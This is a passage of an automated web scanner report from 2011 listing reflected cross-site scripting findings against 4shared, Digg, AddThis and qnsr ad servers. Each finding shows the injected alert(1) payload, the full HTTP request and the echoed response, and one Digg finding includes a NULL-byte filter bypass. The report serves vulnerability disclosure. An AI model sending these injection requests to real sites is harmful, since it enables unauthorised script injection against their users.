1.68. http://dc305.4shared.com/main/upload.jsp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://dc305.4shared.com
Path:   /main/upload.jsp

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a85e5"-alert(1)-"9824e0eb5f7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /main/upload.jspa85e5"-alert(1)-"9824e0eb5f7 HTTP/1.1
Host: dc305.4shared.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 /main/upload.jspa85e5&quot;-alert(1)-&quot;9824e0eb5f7
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Feb 2011 19:46:01 GMT
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://dc305.4shared.com/main/upload.jspa85e5"-alert(1)-"9824e0eb5f7";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.69. http://dc308.4shared.com/main/upload.jsp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://dc308.4shared.com
Path:   /main/upload.jsp

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 46541"-alert(1)-"704b9402c2d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /main46541"-alert(1)-"704b9402c2d/upload.jsp HTTP/1.1
Host: dc308.4shared.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 /main46541&quot;-alert(1)-&quot;704b9402c2d/upload.jsp
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 23:12:45 GMT
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://dc308.4shared.com/main46541"-alert(1)-"704b9402c2d/upload.jsp";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.70. http://dc308.4shared.com/main/upload.jsp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://dc308.4shared.com
Path:   /main/upload.jsp

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a7371"-alert(1)-"109e745b72 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /main/upload.jspa7371"-alert(1)-"109e745b72 HTTP/1.1
Host: dc308.4shared.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 /main/upload.jspa7371&quot;-alert(1)-&quot;109e745b72
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 23:12:54 GMT
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://dc308.4shared.com/main/upload.jspa7371"-alert(1)-"109e745b72";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.71. http://digg.com/submit [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://digg.com
Path:   /submit

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00e8cb0"><script>alert(1)</script>eee6eb58e9b was submitted in the REST URL parameter 1. This input was echoed as e8cb0"><script>alert(1)</script>eee6eb58e9b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /submit%00e8cb0"><script>alert(1)</script>eee6eb58e9b HTTP/1.1
Host: digg.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 01:59:47 GMT
Server: Apache
X-Powered-By: PHP/5.2.9-digg8
Cache-Control: no-cache,no-store,must-revalidate
Pragma: no-cache
Set-Cookie: traffic_control=2107412045744832512%3A187; expires=Sun, 27-Feb-2011 01:59:47 GMT; path=/; domain=digg.com
Set-Cookie: d=8bfb598c2877d172a9ca2cfcac5aad764d4f0bf5a31a5a261d3ab41be1d8a5f8; expires=Thu, 25-Feb-2021 12:07:27 GMT; path=/; domain=.digg.com
X-Digg-Time: D=260640 10.2.129.225
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 16660

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>error_ - Digg</title>

<meta name="keywords" content="Digg, pictures, breaking news, entertainment, politics, technology
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="Digg" href="/submit%00e8cb0"><script>alert(1)</script>eee6eb58e9b.rss">
...[SNIP]...

1.72. http://ds.addthis.com/red/psi/sites/www.manta.com/p.json [callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ds.addthis.com
Path:   /red/psi/sites/www.manta.com/p.json

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload e5ae4<script>alert(1)</script>e6a6ac44971 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /red/psi/sites/www.manta.com/p.json?callback=_ate.ad.hpre5ae4<script>alert(1)</script>e6a6ac44971&uid=4d5af32c71c2e1a5&url=http%3A%2F%2Fwww.manta.com%2Fc%2Fmtl07lp%2Findustrial-waste-recovery-llc&w1bilb HTTP/1.1
Host: ds.addthis.com
Proxy-Connection: keep-alive
Referer: http://s7.addthis.com/static/r07/sh32.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTg4NzIwVg%3d%3d; dt=X; di=%7B%222%22%3A%223375925924%2CrcHW801b0RcADNFE%22%7D..1298426248.60|1297806627.66; psc=4; uid=4d5af32c71c2e1a5

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Length: 314
Content-Type: text/javascript
Set-Cookie: bt=; Domain=.addthis.com; Expires=Sat, 26 Feb 2011 00:20:52 GMT; Path=/
Set-Cookie: dt=X; Domain=.addthis.com; Expires=Mon, 28 Mar 2011 00:20:52 GMT; Path=/
Set-Cookie: di=%7B%222%22%3A%223375925924%2CrcHW801b0RcADNFE%22%7D..1298679652.60|1297806627.66; Domain=.addthis.com; Expires=Sun, 24-Feb-2013 18:22:57 GMT; Path=/
P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA"
Expires: Sat, 26 Feb 2011 00:20:52 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 26 Feb 2011 00:20:52 GMT
Connection: close

_ate.ad.hpre5ae4<script>alert(1)</script>e6a6ac44971({"urls":["http://cspix.media6degrees.com/orbserv/hbpix?pixId=1598&pcv=45&ptid=100&tpv=00&tpu=4d5af32c71c2e1a5&curl=http%3a%2f%2fwww.manta.com%2fc%2fmtl07lp%2findustrial-waste-recovery-llc"],"segments"
...[SNIP]...

1.73. http://e1.cdn.qnsr.com/cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js [REST URL parameter 10]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e1.cdn.qnsr.com
Path:   /cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js

Issue detail

The value of REST URL parameter 10 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload acc29'%3b0ddd73bd74d was submitted in the REST URL parameter 10. This input was echoed as acc29';0ddd73bd74d in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cgi/k/20120772/1536/0/0/203635133/203635133//0/203acc29'%3b0ddd73bd74d/8598//1/i.js HTTP/1.1
Host: e1.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://e1.cdn.qnsr.com/cgi/d/1537/0/203/635133/549914/i0.html?;y=http%3A//blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html;s=8598;d=camp20985953~camp20993046::ch203687986ad20142038~ch203687989ad20141534~ch203687989ad20143682~ch203687989ad20140829~ch203687987ad20145841~ch203687989ad20143853~ch203687984ad20132865~ch203687988ad20138856;z=3795111825
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Vary: Accept-Encoding
Cache-Control: max-age=2591996
Expires: Mon, 28 Mar 2011 01:49:45 GMT
Date: Sat, 26 Feb 2011 01:49:49 GMT
Connection: close
Content-Length: 743


var zz_trd = "";
var zz_param = "";
var zz_ref = "";

if (typeof zzTrd != 'undefined') { zz_trd = zzTrd; }
if (typeof zzParam != 'undefined') { zz_param = zzParam + ";"; }
if (typeof zzRef != 'undefi
...[SNIP]...
<A HREF="http://o1.qnsr.com//cgi/c?a=20120772;x=1536;c=203635133,203635133;i=0;n=203acc29';0ddd73bd74d;s=8598;p=20484683;f=20484669;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://technology.search-schools.com/onestepsearch.jsp?" TARGET="_blank" onMouseOver="window.status=\'\'; return true;" o
...[SNIP]...

1.74. http://e1.cdn.qnsr.com/cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js [REST URL parameter 11]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e1.cdn.qnsr.com
Path:   /cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js

Issue detail

The value of REST URL parameter 11 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 88920'%3b539f91e0bd9 was submitted in the REST URL parameter 11. This input was echoed as 88920';539f91e0bd9 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cgi/k/20120772/1536/0/0/203635133/203635133//0/203/859888920'%3b539f91e0bd9//1/i.js HTTP/1.1
Host: e1.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://e1.cdn.qnsr.com/cgi/d/1537/0/203/635133/549914/i0.html?;y=http%3A//blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html;s=8598;d=camp20985953~camp20993046::ch203687986ad20142038~ch203687989ad20141534~ch203687989ad20143682~ch203687989ad20140829~ch203687987ad20145841~ch203687989ad20143853~ch203687984ad20132865~ch203687988ad20138856;z=3795111825
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Vary: Accept-Encoding
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:53 GMT
Date: Sat, 26 Feb 2011 01:49:53 GMT
Connection: close
Content-Length: 743


var zz_trd = "";
var zz_param = "";
var zz_ref = "";

if (typeof zzTrd != 'undefined') { zz_trd = zzTrd; }
if (typeof zzParam != 'undefined') { zz_param = zzParam + ";"; }
if (typeof zzRef != 'undefi
...[SNIP]...
<A HREF="http://o1.qnsr.com//cgi/c?a=20120772;x=1536;c=203635133,203635133;i=0;n=203;s=859888920';539f91e0bd9;p=20484683;f=20484669;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://technology.search-schools.com/onestepsearch.jsp?" TARGET="_blank" onMouseOver="window.status=\'\'; return true;" onMouseO
...[SNIP]...

1.75. http://e1.cdn.qnsr.com/cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e1.cdn.qnsr.com
Path:   /cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d4693'%3b652b91c5004 was submitted in the REST URL parameter 4. This input was echoed as d4693';652b91c5004 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cgi/k/20120772/1536d4693'%3b652b91c5004/0/0/203635133/203635133//0/203/8598//1/i.js HTTP/1.1
Host: e1.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://e1.cdn.qnsr.com/cgi/d/1537/0/203/635133/549914/i0.html?;y=http%3A//blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html;s=8598;d=camp20985953~camp20993046::ch203687986ad20142038~ch203687989ad20141534~ch203687989ad20143682~ch203687989ad20140829~ch203687987ad20145841~ch203687989ad20143853~ch203687984ad20132865~ch203687988ad20138856;z=3795111825
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Vary: Accept-Encoding
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:32 GMT
Date: Sat, 26 Feb 2011 01:49:32 GMT
Connection: close
Content-Length: 743


var zz_trd = "";
var zz_param = "";
var zz_ref = "";

if (typeof zzTrd != 'undefined') { zz_trd = zzTrd; }
if (typeof zzParam != 'undefined') { zz_param = zzParam + ";"; }
if (typeof zzRef != 'undefi
...[SNIP]...
<A HREF="http://o1.qnsr.com//cgi/c?a=20120772;x=1536d4693';652b91c5004;c=203635133,203635133;i=0;n=203;s=8598;p=20484683;f=20484669;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://technology.search-schools.com/onestepsearch.jsp?" TARGET="_blank" onMouseOver="win
...[SNIP]...

1.76. http://e1.cdn.qnsr.com/cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e1.cdn.qnsr.com
Path:   /cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c75eb'%3b9d193661b16 was submitted in the REST URL parameter 7. This input was echoed as c75eb';9d193661b16 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cgi/k/20120772/1536/0/0/203635133c75eb'%3b9d193661b16/203635133//0/203/8598//1/i.js HTTP/1.1
Host: e1.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://e1.cdn.qnsr.com/cgi/d/1537/0/203/635133/549914/i0.html?;y=http%3A//blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html;s=8598;d=camp20985953~camp20993046::ch203687986ad20142038~ch203687989ad20141534~ch203687989ad20143682~ch203687989ad20140829~ch203687987ad20145841~ch203687989ad20143853~ch203687984ad20132865~ch203687988ad20138856;z=3795111825
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Vary: Accept-Encoding
Cache-Control: max-age=2591982
Expires: Mon, 28 Mar 2011 01:49:22 GMT
Date: Sat, 26 Feb 2011 01:49:40 GMT
Connection: close
Content-Length: 743


var zz_trd = "";
var zz_param = "";
var zz_ref = "";

if (typeof zzTrd != 'undefined') { zz_trd = zzTrd; }
if (typeof zzParam != 'undefined') { zz_param = zzParam + ";"; }
if (typeof zzRef != 'undefi
...[SNIP]...
<A HREF="http://o1.qnsr.com//cgi/c?a=20120772;x=1536;c=203635133c75eb';9d193661b16,203635133;i=0;n=203;s=8598;p=20484683;f=20484669;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://technology.search-schools.com/onestepsearch.jsp?" TARGET="_blank" onMouseOver="window.status=\
...[SNIP]...

1.77. http://e1.cdn.qnsr.com/cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js [REST URL parameter 8]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e1.cdn.qnsr.com
Path:   /cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js

Issue detail

The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 48b1e'%3b09e5343efb0 was submitted in the REST URL parameter 8. This input was echoed as 48b1e';09e5343efb0 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cgi/k/20120772/1536/0/0/203635133/20363513348b1e'%3b09e5343efb0//0/203/8598//1/i.js HTTP/1.1
Host: e1.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://e1.cdn.qnsr.com/cgi/d/1537/0/203/635133/549914/i0.html?;y=http%3A//blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html;s=8598;d=camp20985953~camp20993046::ch203687986ad20142038~ch203687989ad20141534~ch203687989ad20143682~ch203687989ad20140829~ch203687987ad20145841~ch203687989ad20143853~ch203687984ad20132865~ch203687988ad20138856;z=3795111825
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Vary: Accept-Encoding
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:43 GMT
Date: Sat, 26 Feb 2011 01:49:43 GMT
Connection: close
Content-Length: 743


var zz_trd = "";
var zz_param = "";
var zz_ref = "";

if (typeof zzTrd != 'undefined') { zz_trd = zzTrd; }
if (typeof zzParam != 'undefined') { zz_param = zzParam + ";"; }
if (typeof zzRef != 'undefi
...[SNIP]...
<A HREF="http://o1.qnsr.com//cgi/c?a=20120772;x=1536;c=203635133,20363513348b1e';09e5343efb0;i=0;n=203;s=8598;p=20484683;f=20484669;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://technology.search-schools.com/onestepsearch.jsp?" TARGET="_blank" onMouseOver="window.status=\'\'; retur
...[SNIP]...

1.78. http://e1.cdn.qnsr.com/cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js [REST URL parameter 9]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e1.cdn.qnsr.com
Path:   /cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js

Issue detail

The value of REST URL parameter 9 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a9039'%3bec5d10b6574 was submitted in the REST URL parameter 9. This input was echoed as a9039';ec5d10b6574 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cgi/k/20120772/1536/0/0/203635133/203635133//0a9039'%3bec5d10b6574/203/8598//1/i.js HTTP/1.1
Host: e1.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://e1.cdn.qnsr.com/cgi/d/1537/0/203/635133/549914/i0.html?;y=http%3A//blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html;s=8598;d=camp20985953~camp20993046::ch203687986ad20142038~ch203687989ad20141534~ch203687989ad20143682~ch203687989ad20140829~ch203687987ad20145841~ch203687989ad20143853~ch203687984ad20132865~ch203687988ad20138856;z=3795111825
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Vary: Accept-Encoding
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:46 GMT
Date: Sat, 26 Feb 2011 01:49:46 GMT
Connection: close
Content-Length: 743


var zz_trd = "";
var zz_param = "";
var zz_ref = "";

if (typeof zzTrd != 'undefined') { zz_trd = zzTrd; }
if (typeof zzParam != 'undefined') { zz_param = zzParam + ";"; }
if (typeof zzRef != 'undefi
...[SNIP]...
<A HREF="http://o1.qnsr.com//cgi/c?a=20120772;x=1536;c=203635133,203635133;i=0a9039';ec5d10b6574;n=203;s=8598;p=20484683;f=20484669;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://technology.search-schools.com/onestepsearch.jsp?" TARGET="_blank" onMouseOver="window.status=\'\'; return tr
...[SNIP]...

1.79. http://e2.cdn.qnsr.com//cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js [REST URL parameter 10]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
